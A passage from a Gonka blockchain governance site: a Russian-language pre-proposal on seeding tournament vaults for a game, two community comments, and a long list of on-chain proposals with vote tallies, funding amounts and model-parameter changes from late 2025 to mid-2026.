Пул/грантовый фонд сообщества Gonka может использоваться в качестве начальной ликвидности (начальной ликвидности) для первого набора турнирных хранилищ-контрактов в пилотной игре HardCore Arena.
Каждый турнир = отдельное хранилище смарт-контрактов внутри экосистемы Gonka.
Гонка в этой модели не обеспечивает призы напрямую, а обеспечивает инфраструктуру и стартовую ликвидность для запуска механизма.
Дальнейшая система становится автономной за счет:
вступительные первые игроки генерирование дохода внутри DeFi-стратегий (стейкинг/ликвидность/кредитование)
Таким образом, Gonka выступает не как источник награды, а как инфраструктурный уровень для запуска стандартного механизма турнирного хранилища.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#victor_1", "title": "💬 Victor", "text": "2026-06-12 22:27 · 👍 0 · 👎 0
Модель не требует изменений в современном консенсусе Gonka (PoW/AI-ориентированная архитектура) и может быть реализована как механизм уровня приложения относительно обратной связи.
При этом она совместима с будущими возможными стимул-механиками сетей (стейкинг, вознаграждения, программы ликвидности), если они будут выведены на уровень протокола или экосистемных инициатив.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#mitch", "title": "💬 Mitch", "text": "2026-06-24 16:58 · 👍 0 · 👎 0
Не соответствует роадмапу, поэтому продуктовый комитет не примет. Считаю что мы не должны спонсировать истории по использованию монеты gonka как еще одной монеты с которой можно делать то же самое что и со всеми другими монетами блокчейнов.
View on gonka.vote
"}, {"location": "proposals/proposals/", "title": "On-Chain Governance Proposals", "text": "Passed Rejected Voting With Funding
90 proposals across 5 quarters. Last updated: 2026-07-26 07:25 UTC"}, {"location": "proposals/proposals/#overview", "title": "Overview", "text": "90Total Proposals 59Passed (66%) 30Rejected (33%) 1Failed (1%) Funding / Grants39 Governance Parameters26 Software Upgrade17 GRC / Restitution3 Other3 Models / IBC2 20,302,572 GNK · $631,600 · Community Pool · 4,691,460 GNK · Gov Module"}, {"location": "proposals/proposals/#2026-q3_1", "title": "2026-Q3", "text": "12 proposals
#91 – Temporarily update BLS signing parameters Passed Submitted 2026-07-23 Voting ends 2026-07-24 Set max_signing_attempts to 1 and signing_deadline_blocks to 60 epoch lengths (923460 blocks) to mitigate a theoretical risk identified in a security report. Historically, retries have never been need… Yes 243,165 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 243,165 / 569,511 (42.7%) · Quorum 25% (142,377) #90 – Partnerships with Inference Resellers, B2C users acquisition and conversion funnels analytics setup Rejected Submitted 2026-07-21 Voting ends 2026-07-23 Currently Gonka has a lot of marketing activities, but doesn't have analytics to measure the results of their work and doesn't have a vision which target audiences and how we need to attract and onboa… Yes 190,646 (57.3%) · No 6,269 (1.9%) · Veto 133,354 (40.1%) · Abstain 2,324 (0.7%)240,000 GNK · $57,000 · Community Pool ✓ Turnout 332,593 / 569,511 (58.4%) · Quorum 25% (142,377) #89 – Upgrade Proposal: v0.2.14 Passed Submitted 2026-07-21 Voting ends 2026-07-23 Upgrade Proposal: v0.2.14 Yes 296,240 (100.0%) · No 0 (0.0%) · Veto 115 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 296,355 / 545,426 (54.3%) · Quorum 25% (136,356) #88 – Restore Kimi K2.6 and remove v1, v2 Passed Submitted 2026-07-16 Voting ends 2026-07-17 Update current chain params to register moonshotai/Kimi-K2.6 in the governance model list and remove approved_versions v1, v2 from devshard_escrow_params (to reduce RAM usage). Yes 272,063 (99.8%) · No 543 (0.2%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 272,606 / 563,910 (48.3%) · Quorum 25% (140,977) #87 – Remove Kimi K2.6 model Passed Submitted 2026-07-16 Voting ends 2026-07-16 Remove moonshotai/Kimi-K2.6 from PoC params and delete it from the governance model list. Yes 151,714 (100.0%) · No 8 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 151,722 / 344,693 (44.0%) · Quorum 25% (86,173) #86 – Increase Kimi-K2.6 and GLM-5.2 weight_scale_factor by 5% Passed Submitted 2026-07-14 Voting ends 2026-07-16 Increase the weight_scale_factor for moonshotai/Kimi-K2.6 from 0.90 to 0.945 (+5%) and for zai-org/GLM-5.2-FP8 from 2.47 to 2.5935 (+5%). All other model and chain parameters remain unchanged. Yes 299,231 (98.5%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 4,445 (1.5%) ✓ Turnout 303,676 / 564,299 (53.8%) · Quorum 25% (141,074) #85 – Internal Go-To-Market Team for 3 Month Rejected Submitted 2026-07-10 Voting ends 2026-07-12 We will run hundreds of experiments across different target audience hypotheses and set up the basis: acquisition funnels, analytics, sharable target audience deep understanding. Our key performance m… Yes 41,668 (73.5%) · No 8 (0.0%) · Veto 14,932 (26.4%) · Abstain 45 (0.1%)600,000 GNK · $36,000 · Community Pool ✗ Turnout 56,653 / 741,825 (7.6%) · Quorum 25% (185,456) #84 – Bringing $3M+ in New Capital to GONKA via Uniswap — Phase 1/6 ($50k USDT) Rejected Submitted 2026-07-09 Voting ends 2026-07-11 My name is Andrey Orlovsky, and through this proposal I represent our team and an initiative to attract at least $3 million in new long-term capital to GONKA through Uniswap. Below is a condensed ver… Yes 1,221 (0.4%) · No 2,404 (0.8%) · Veto 290,022 (98.8%) · Abstain 3 (0.0%)20,000 GNK · $50,000 · Community Pool ✓ Turnout 293,650 / 741,825 (39.6%) · Quorum 25% (185,456) #83 – Approve devshard v3 Passed Submitted 2026-07-09 Voting ends 2026-07-11 Update current chain params by adding v3 to devshard_escrow_params.approved_versions. Yes 395,370 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 395,370 / 741,825 (53.3%) · Quorum 25% (185,456) #82 – External Test Lab x Community DevNet Passed Submitted 2026-07-08 Voting ends 2026-07-10 4-month pilot of the External Test Lab & Community DevNet: a community-owned testing layer for Gonka. Full proposal and discussion: https://github.com/gonka-ai/gonka/discussions/1388 The budget is he… Yes 368,084 (98.2%) · No 468 (0.1%) · Veto 94 (0.0%) · Abstain 6,141 (1.6%)80,000 GNK · $88,000 · Community Pool ✓ Turnout 374,787 / 741,825 (50.5%) · Quorum 25% (185,456) #81 – Kimi cPoC Restitution (epochs 306-309) Rejected Submitted 2026-07-08 Voting ends 2026-07-10 Distribute restitution for Kimi operators affected by cPoC validation failure in epochs 306-309. The Kimi validation path failed starting in e306 causing confirmation_weight suppression for Kimi opera… Yes 235,728 (56.2%) · No 609 (0.1%) · Veto 183,094 (43.7%) · Abstain 18 (0.0%)175,082 GNK · Gov Module ✓ Turnout 419,449 / 741,825 (56.5%) · Quorum 25% (185,456) #80 – GRC Proposal #3 - Restitution Rejected Submitted 2026-07-05 Voting ends 2026-07-07 Restitution payout for confirmed GRC Proposal #3 cases, with Case 05 payments from proposal_id=67 deducted where the same address and epoch were already compensated, and positive victim outputs below … Yes 16,378 (10.4%) · No 94,721 (60.4%) · Veto 39,454 (25.1%) · Abstain 6,344 (4.0%)47,850 GNK · Community Pool · 70,184 GNK · Gov Module ✗ Turnout 156,897 / 741,825 (21.2%) · Quorum 25% (185,456)"}, {"location": "proposals/proposals/#2026-q2_1", "title": "2026-Q2", "text": "44 proposals
#79 – Add Kimi K2.6 and GLM 5.2 model Passed Submitted 2026-06-26 Voting ends 2026-06-26 Add Kimi K2.6 and GLM 5.2 model Yes 330,364 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #78 – Governance 17: update PoC model lineup Passed Submitted 2026-06-25 Voting ends 2026-06-25 Set delegation initial_model_id to MiniMaxAI/MiniMax-M2.7, keep only MiniMaxAI/MiniMax-M2.7 in PoC params, remove Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, moonshotai/Kimi-K2.6 from PoC params, and dele… Yes 255,215 (97.1%) · No 170 (0.1%) · Veto 0 (0.0%) · Abstain 7,390 (2.8%) #77 – Gonka PR Proposal for US/Global Regions Passed Submitted 2026-06-24 Voting ends 2026-06-26 We are INPUT Global - a leading web3 marketing communications agency. We offer 3 month PR campaign to establish trust and market legitimacy of Gonka across 2 audiences: global business and crypto-nati… Yes 152,042 (100.0%) · No 71 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)$75,000 · Community Pool #76 – Governance 16: devshard v2 and bounty payouts Passed Submitted 2026-06-15 Voting ends 2026-06-17 Register devshard approved version v2. Yes 239,924 (100.0%) · No 17 (0.0%) · Veto 0 (0.0%) · Abstain 16 (0.0%)$93,600 · Community Pool #75 – Private Inc × Gonka — Network Growth Initiative Rejected Submitted 2026-06-13 Voting ends 2026-06-15 IMPORTANT: Below is a condensed version of the proposal. It highlights only the key points and does not disclose all details of the initiative, implementation mechanics, KPIs, or terms. It is strongly… #74 – Gonka Labs: Maintaining Infrastructure, Improving Products, and Launching New Ones Passed Submitted 2026-06-10 Voting ends 2026-06-12 Full proposal: https://gonkalabs.com/proposal This proposal funds the next six months of work for the Gonka ecosystem. The focus is production-grade infrastructure and high-use products: Gonka.gg V2… Yes 305,163 (79.6%) · No 3,791 (1.0%) · Veto 15 (0.0%) · Abstain 74,304 (19.4%)$70,000 · Community Pool · 330,000 GNK · Gov Module #73 – Increase minimum governance deposit to 500 GNK and expedited minimum deposit to 1000 GNK Passed Submitted 2026-06-10 Voting ends 2026-06-12 Increase the minimum deposit required to submit a governance proposal to 500 GNK (500,000,000,000 ngonka) and expedited minimum deposit to 1000 GNK (1,000,000,000,000 ngonka). This resubmits proposal … Yes 295,843 (96.3%) · No 40 (0.0%) · Veto 572 (0.2%) · Abstain 10,823 (3.5%) #72 – Open devshard escrow creation to community wallet gonka1afj0tz53z56zngs425m83vxl5y2xmwm692hfrn Rejected Submitted 2026-06-10 Voting ends 2026-06-12 Adds a community-operated wallet to devshard_escrow_params.allowed_creator_addresses, enabling it to create a devshard escrow and operate as an additional self-hosted inference gateway/transfer agent.… Yes 5,337 (2.2%) · No 7,953 (3.3%) · Veto 221,234 (90.7%) · Abstain 9,421 (3.9%) #71 – Gonka PR Proposal for US/Global Regions Rejected Submitted 2026-06-08 Voting ends 2026-06-10 We're a comms team specializing in Organic PR for crypto and tech projects. With strong competition in the space and no active events or marketing currently running for Gonka, we propose a 3-month Org… Yes 180,108 (99.8%) · No 72 (0.0%) · Veto 0 (0.0%) · Abstain 233 (0.1%)$75,000 · Community Pool #70 – GNK Racers: Launch GameFi Mini-App to Drive User Growth & Wallet Activity Rejected Submitted 2026-06-06 Voting ends 2026-06-08 Release 246,000 GNK from Community Fund to finalize GNK Racers — a multiplayer side-view racing mini-app with a live working prototype (@GNKRacers_bot). The game drives new user acquisition, wallet ac… Yes 38,621 (25.0%) · No 107,644 (69.6%) · Veto 6,241 (4.0%) · Abstain 2,245 (1.5%)246,000 GNK · Community Pool #69 – Increase minimum governance deposit to 500 GNK Failed Submitted 2026-06-05 Voting ends 2026-06-07 Increase the minimum deposit required to submit a governance proposal from the current value to 500 GNK. Also sets expedited minimum deposit to 1000 GNK. Yes 199,799 (96.9%) · No 46 (0.0%) · Veto 4,202 (2.0%) · Abstain 2,210 (1.1%) #68 – Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky) Passed Submitted 2026-06-05 Voting ends 2026-06-07 The proposal is reopened for voting at the initiative of several hosts who did not participate in the previous round. • There are no changes to the substance of the proposal; only timeline commitment… Yes 260,353 (96.4%) · No 749 (0.3%) · Veto 6,288 (2.3%) · Abstain 2,546 (0.9%)$70,000 · Community Pool #67 – Kimi Restitution (epochs 265-276) Passed Submitted 2026-06-03 Voting ends 2026-06-05 Distribute restitution for Kimi operators across epochs 265-276. Epochs 265-266: external attack causing CPoC degradation and nonce exclusion. Epochs 267-276: ComputeGroupCap systematic underpayment d… Yes 319,920 (78.9%) · No 150 (0.0%) · Veto 84,623 (20.9%) · Abstain 744 (0.2%)946,509 GNK · Gov Module #66 – test proposal - 测试方案 Rejected Submitted 2026-06-03 Voting ends 2026-06-05 test proposal - 测试方案 #65 – TheSoul - Offer 2.3: Digital strategy (100,000 GNK) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Full 360-degree digital and social strategy for Gonka.AI: channel matrix, content plan, segment messaging, social strategy, and brand-voice guidelines. Single-tranche payment of 100,000 GNK to TheSoul… Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)100,000 GNK · Community Pool #64 – TheSoul - Offer 2.2: Analytics and attribution (28,000 GNK) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Web analytics, attribution, and funnel dashboarding for Gonka.AI: GA4 implementation, UTM taxonomy, event tracking, and conversion reporting. Single-tranche payment of 28,000 GNK to TheSoul on proposa… Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)28,000 GNK · Community Pool #63 – TheSoul - Offer 2.1: Website and landings (10,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Full redesign of gonka.ai plus dedicated landing pages for miners, inference buyers, and investors, built on the brandbook from Offer 1.2. Single-tranche payment of 10,000 USDT to TheSoul on proposal … Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$10,000 · Community Pool #62 – TheSoul - Offer 1.3: Influencer pilot (50,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Crypto-influencer pilot campaign for Gonka.AI across selected tier-1 creators, with a full performance report and scaling recommendations. Single-tranche payment of 50,000 USDT to TheSoul on proposal … Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$50,000 · Community Pool #61 – TheSoul - Offer 1.2: Brandbook (20,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Brand identity system for Gonka.AI: logo, typography, color system, graphic language, layout principles, and templates, built on the positioning from Offer 1.1. Single-tranche payment of 20,000 USDT t… Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$20,000 · Community Pool #60 – TheSoul - Offer 1.1: Brand positioning (25,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Brand audit, competitive positioning, and audience segmentation for Gonka.AI. Single-tranche payment of 25,000 USDT to TheSoul on proposal pass. Full offer document: see the metadata URL. Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$25,000 · Community Pool #59 – Gonka Onboarding Video Guide — Milestone 1 (Prepayment) Rejected Submitted 2026-05-31 Voting ends 2026-06-02 Funds milestone 1 (upfront prepayment) of a community-produced onboarding video guide for Gonka. Deliverable: a series of ~15 short, interactive, easy-to-follow videos covering A-to-Z onboarding for b… Yes 24,505 (43.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 31,699 (56.4%)$5,000 · Community Pool #58 – Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky) Rejected Submitted 2026-05-28 Voting ends 2026-05-30 # Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky) 70,000 USDT from the CommunityPool for a dedicated Falcon Finance deep-dive on Gonka AI. Full proposal: https://vote.gonka.vip/tenders… Yes 98,018 (53.4%) · No 0 (0.0%) · Veto 85,697 (46.6%) · Abstain 0 (0.0%)$70,000 · Community Pool #57 – Approve the Gonka Network Development Roadmap Passed Submitted 2026-05-28 Voting ends 2026-05-30 This proposal approves the Gonka Network Development Roadmap as a strategic direction document for Gonka's future development tracks. If approved, the roadmap should become the shared vision for Gonk… Yes 257,150 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #56 – INC4 | Gonka NOP - grant for the node deployment tool Rejected Submitted 2026-05-25 Voting ends 2026-05-27 # Gonka NOP: grant for the node deployment tool 50,000 USDT from the CommunityPool to INC4 Full proposal: https://github.com/gonka-ai/gonka/discussions/1192 ## What it is gonka-nop (Node Onboarding… Yes 31,851 (58.6%) · No 9,566 (17.6%) · Veto 12,961 (23.8%) · Abstain 0 (0.0%)$50,000 · Community Pool #55 – GRC Proposal #2 - Restitution (epochs 248-254) Passed Submitted 2026-05-21 Voting ends 2026-05-23 Distribute restitution for Cases 2, 3, and 4 across epochs 248-254. Case 2: preserver weight double-scaling bug (epochs 249-253). Case 3: epoch loss restitution: broad epoch losses, consecutive failur… Yes 188,670 (61.2%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 119,835 (38.8%)39,722 GNK · Community Pool · 306,307 GNK · Gov Module #54 – Upgrade Proposal: v0.2.13 Passed Submitted 2026-05-20 Voting ends 2026-05-22 Upgrade Proposal: v0.2.13 Yes 228,216 (62.8%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 135,071 (37.2%) #53 – INC4 | Gonka NOP - grant for the node deployment tool Rejected Submitted 2026-05-19 Voting ends 2026-05-21 # Gonka NOP: grant for the node deployment tool 50,000 USDT from the CommunityPool to INC4 Full proposal: https://github.com/gonka-ai/gonka/discussions/1192 ## What it is gonka-nop (Node Onboarding… Yes 139,052 (46.8%) · No 0 (0.0%) · Veto 158,195 (53.2%) · Abstain 0 (0.0%)$50,000 · Community Pool #52 – Upgrade Proposal: v0.2.13 Rejected Submitted 2026-05-15 Voting ends 2026-05-17 Upgrade Proposal: v0.2.13 Yes 88,420 (34.1%) · No 0 (0.0%) · Veto 170,799 (65.9%) · Abstain 0 (0.0%) #51 – Support Gonka's presence at WebX Asia Passed Submitted 2026-05-13 Voting ends 2026-05-15 6Block, a long-term Gonka mining and infrastructure participant, proposes that the Gonka community allocate 75,000 USDT to support Gonka's participation at WebX Asia / WebX 2026 in Tokyo. 6Block has a… Yes 395,003 (62.8%) · No 1,767 (0.3%) · Veto 64,217 (10.2%) · Abstain 168,275 (26.7%)$75,000 · Community Pool #50 – Retroactive bounty: open-source PoC throughput optimization (+10–12% measured) with 250 total installations Passed Submitted 2026-05-07 Voting ends 2026-05-09 Retroactive 20K GNK bounty for an open-sourced PoC optimization measuring +10.2% on B200 and +12.5% on H100 with Qwen3-235B-FP8. One-line patch, verified on-chain by independent miners. Details: https… Yes 281,723 (59.1%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 194,589 (40.9%)20,000 GNK · Community Pool #49 – Gonka Media Dominance in TechL/AI with 5 AI Influencers Passed Submitted 2026-05-05 Voting ends 2026-05-07 We're ICG - AI Influencer Lab, a team that builds and scales hyper-realistic AI avatars on Instagram, TikTok, and YouTube as full ambassadors across verticals. We manage 160+ accounts in AI, finance, … Yes 496,683 (71.1%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 201,560 (28.9%)$45,000 · Community Pool #48 – Lower Direct Participation Threshold to 10% Passed Submitted 2026-05-05 Voting ends 2026-05-05 During the Kimi-K2.6 bootstrap, the 30% direct participation threshold proved hard to meet. To avoid the risk of Kimi-K2.6 becoming ineligible in a future epoch and to simplify onboarding of further m… Yes 808,529 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #47 – Retroactive bounty: open-source PoC throughput optimization (+10–12% measured) with 250 total installations Rejected Submitted 2026-05-04 Voting ends 2026-05-06 Retroactive 20K GNK bounty for an open-sourced PoC optimization measuring +10.2% on B200 and +12.5% on H100 with Qwen3-235B-FP8. One-line patch, verified on-chain by independent miners. Details: https… Yes 70,819 (33.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 139,828 (66.4%)20,000 GNK · Community Pool #46 – Epochs 132-247 compensation payout from gov module (batch vesting) Passed Submitted 2026-05-02 Voting ends 2026-05-04 Two prior upgrades changed the lifecycle of unpaid miner rewards. v0.2.9 (proposal #26, 2026-02-01): when a participant is penalized during cPoC validation, the unaccounted portion of their epoch rewa… Yes 97,030 (36.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 172,837 (64.0%)3,053,800 GNK · Gov Module #45 – Governance Architecture Proposal for the Gonka.ai Network Rejected Submitted 2026-04-29 Voting ends 2026-05-01 Replace scattered governance discussions and complex CLI voting with a unified Governance Portal - a single interface for all Gonka governance activity. The portal includes: a proposal feed across Dis… Yes 118,126 (25.6%) · No 0 (0.0%) · Veto 210,906 (45.6%) · Abstain 133,057 (28.8%)119,000 GNK · Community Pool #44 – Upgrade Proposal: v0.2.12 Passed Submitted 2026-04-28 Voting ends 2026-04-30 Upgrade Proposal: v0.2.12 Yes 506,142 (99.6%) · No 2,057 (0.4%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #43 – Governance Architecture Proposal for the Gonka.ai Network Rejected Submitted 2026-04-25 Voting ends 2026-04-27 Today, participating in Gonka governance requires following multiple channels simultaneously — GitHub, Discord, CLI — just to cast a single vote. Most miners miss proposals entirely or vote too late. … Yes 123,104 (26.5%) · No 335,534 (72.2%) · Veto 5,913 (1.3%) · Abstain 0 (0.0%)104,166 GNK · Community Pool #42 – Support Gonka at Global Compute Sovereignty Summit Passed Submitted 2026-04-17 Voting ends 2026-04-19 We are DeAI Nation, a global nonprofit organization supporting and promoting the decentralized AI ecosystem, and authors of the State of DeAI 2026 report. We propose that the Gonka community become a … Yes 375,771 (68.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 172,050 (31.4%)$10,000 · Community Pool #41 – INC4 | Gonka Node Observability Platform Rejected Submitted 2026-04-16 Voting ends 2026-04-18 Today's explorers and dashboards only show on-chain data, leaving the off-chain state of validators completely opaque. The few operators who do run their own monitoring use different tools, different … Yes 17,955 (57.1%) · No 13,494 (42.9%) · Veto 0 (0.0%) · Abstain 0 (0.0%)$96,000 · Community Pool #40 – Governance: extend voting period to 48 hours Passed Submitted 2026-04-13 Voting ends 2026-04-14 This proposal updates x/gov: the standard voting period becomes 48 hours (was 24), and the expedited voting period becomes 12 hours (was 3). All other governance parameters remain at their current on-… Yes 377,158 (57.7%) · No 0 (0.0%) · Veto 12,030 (1.8%) · Abstain 264,790 (40.5%) #39 – Community Series Film — Why Gonka Exists Passed Submitted 2026-04-09 Voting ends 2026-04-10 Saccade Media House is a creative team of tech entrepreneurs who know how to tell stories. We've built content for international tech brands and the founders behind them. We propose a Community Series… Yes 394,971 (76.0%) · No 183 (0.0%) · Veto 0 (0.0%) · Abstain 124,587 (24.0%)31,250 GNK · Community Pool #38 – CryptoCommons: Community Support & Token Promotion Plan Rejected Submitted 2026-04-08 Voting ends 2026-04-09 If you agree say YES — Solution 1: Produce a short review video with 1-2 active community members. Solution 2: Introduce the project to BD managers of major CIS exchanges for listings. Solution 3 (Reg… Yes 0 (0.0%) · No 183 (2.3%) · Veto 7,893 (97.7%) · Abstain 0 (0.0%)20,000 GNK · Community Pool · 25,000 GNK · Gov Module #37 – What is your stance on MLM projects around gonka.ai? Rejected Submitted 2026-04-07 Voting ends 2026-04-08 If you are against MLM projects around gonka.ai, vote YES. All funds will be used to counter such projects. The amount is symbolic. Yes 957 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)1 GNK · Community Pool #36 – Register Kava USDT IBC metadata and approve for trading Passed Submitted 2026-04-01 Voting ends 2026-04-02 Register IBC token metadata and approve the denomination for trading on Gonka mainnet. Yes 421,414 (99.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 1,788 (0.4%)"}, {"location": "proposals/proposals/#2026-q1_1", "title": "2026-Q1", "text": "17 proposals
#35 – gonka.ai / TheSoul social media awareness project Rejected Submitted 2026-03-30 Voting ends 2026-03-31 This proposal seeks community approval for a global media initiative to build awareness of decentralized AI and position Gonka as core AI infrastructure. Key elements: Led by TheSoul Group (full-cycl… Yes 9,150 (25.5%) · No 10,325 (28.8%) · Veto 2,450 (6.8%) · Abstain 13,939 (38.9%)970,000 GNK · Community Pool #34 – gonka.ai / TheSoul social media awareness project Rejected Submitted 2026-03-30 Voting ends 2026-03-31 This proposal seeks community approval for a global media initiative to build awareness of decentralized AI and position Gonka as core AI infrastructure. Key elements: Led by TheSoul Group (full-cycl… #33 – Epochs 132-133 compensation payout from gov module Passed Submitted 2026-03-26 Voting ends 2026-03-27 Distribute compensation for CPoC bug affected participants in epochs 132-133. Yes 184,243 (41.8%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 256,296 (58.2%)3,100 GNK · Community Pool · 24,806 GNK · Gov Module #32 – Epoch 158 compensation payout from gov module (batch vesting) Passed Submitted 2026-03-23 Voting ends 2026-03-24 Distribute compensation proportional to epoch 158 lost preserved weights. Implemented as one MsgBatchTransferWithVesting. Yes 501,114 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)500 GNK · Community Pool · 30,038 GNK · Gov Module #31 – Upgrade Proposal: v0.2.11 Passed Submitted 2026-03-19 Voting ends 2026-03-20 Upgrade Proposal: v0.2.11 Yes 673,699 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #30 – Test Proposal Rejected Submitted 2026-03-09 Voting ends 2026-03-10 Testing governance voting from the wallet app. Yes 0 (0.0%) · No 47 (100.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #29 – Network Parameters Update: Disable TA Allowlist, Increase Prices 100x Rejected Submitted 2026-02-19 Voting ends 2026-02-20 Remove TransferAgent allowlist restrictions (empty list = all TAs allowed) and increase per-token pricing 100x (min 100, base 10000 ngonka) to reduce spam. Yes 7,314 (2.9%) · No 0 (0.0%) · Veto 243,060 (97.1%) · Abstain 0 (0.0%) #28 – Collateral Parameters Update Rejected Submitted 2026-02-18 Voting ends 2026-02-19 0.032 GNK per 1 unit of power, 0.01% slashing for miss rate or jail, 0.5% slashing for invalid inference Yes 314,460 (96.5%) · No 11,504 (3.5%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #27 – Upgrade Proposal: v0.2.10 Passed Submitted 2026-02-17 Voting ends 2026-02-18 Upgrade Proposal: v0.2.10 Yes 1,540,653 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #26 – Upgrade Proposal: v0.2.9 Passed Submitted 2026-01-31 Voting ends 2026-02-01 Upgrade Proposal: v0.2.9 Yes 2,708,406 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #25 – Upgrade Proposal: v0.2.8 Passed Submitted 2026-01-28 Voting ends 2026-01-29 Upgrade Proposal: v0.2.8 Yes 4,153,562 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #24 – Upgrade Proposal: v0.2.8 Rejected Submitted 2026-01-28 Voting ends 2026-01-29 Upgrade Proposal: v0.2.8 #22 – Allowlist Timing Passed Submitted 2026-01-17 Voting ends 2026-01-18 Update Expiration Dates for Developer Access and Participant Allowlist Yes 3,476,742 (99.9%) · No 2,836 (0.1%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #21 – Fix mistakes in allowlist Passed Submitted 2026-01-11 Voting ends 2026-01-12 https://github.com/product-science/filter/tree/0354c37eb6c827f00c1e889a2b7de9952a9b84ba Yes 3,020,391 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #20 – Enable Whitelist Passed Submitted 2026-01-09 Voting ends 2026-01-10 https://github.com/product-science/filter/tree/ae59d27f04a70039bcfca94ae656e723982150cd Yes 2,111,775 (90.1%) · No 90,320 (3.9%) · Veto 140,607 (6.0%) · Abstain 0 (0.0%) #19 – Upgrade Proposal: v0.2.7 Passed Submitted 2026-01-07 Voting ends 2026-01-08 Upgrade Proposal: v0.2.7 Yes 3,886,156 (96.1%) · No 148,604 (3.7%) · Veto 8,096 (0.2%) · Abstain 0 (0.0%) #18 – Test Rejected Submitted 2026-01-04 Voting ends 2026-01-05 Test proposal Yes 4,237 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)"}, {"location": "proposals/proposals/#2025-q4_1", "title": "2025-Q4", "text": "11 proposals
#17 – Expected amount of Confirmation PoC per epoch Passed Submitted 2025-12-25 Voting ends 2025-12-26 Expected amount of Confirmation PoC per epoch to 4, p0 for binomial test to 0.1 Yes 3,261,413 (100.0%) · No 85 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #16 – Upgrade Proposal: v0.2.6 Passed Submitted 2025-12-19 Voting ends 2025-12-20 Upgrade Proposal: v0.2.6 Yes 1,985,917 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #15 – Upgrade Proposal: v0.2.6 Rejected Submitted 2025-12-16 Voting ends 2025-12-17 Upgrade Proposal: v0.2.6 Yes 1,034,445 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #14 – Sale GNK from Community Fund Passed Submitted 2025-11-26 Voting ends 2025-11-27 Sale GNK from Community Fund Yes 1,180,961 (98.8%) · No 9,781 (0.8%) · Veto 4,577 (0.4%) · Abstain 0 (0.0%)20,000,000 GNK · Community Pool #13 – Upgrade Proposal: v0.2.5 Passed Submitted 2025-11-21 Voting ends 2025-11-22 Upgrade Proposal: v0.2.5 Yes 428,459 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #12 – Bandwidth Limits Passed Submitted 2025-11-12 Voting ends 2025-11-13 Bandwidth Limits Yes 257,565 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #11 – Bandwidth Limits Passed Submitted 2025-11-12 Voting ends 2025-11-12 Bandwidth Limits Yes 349,596 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #10 – Bandwidth Limits Passed Submitted 2025-11-12 Voting ends 2025-11-12 Bandwidth Limits Yes 287,496 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #9 – Higher Bandwidth Limits & Voting Time Back to 24H Passed Submitted 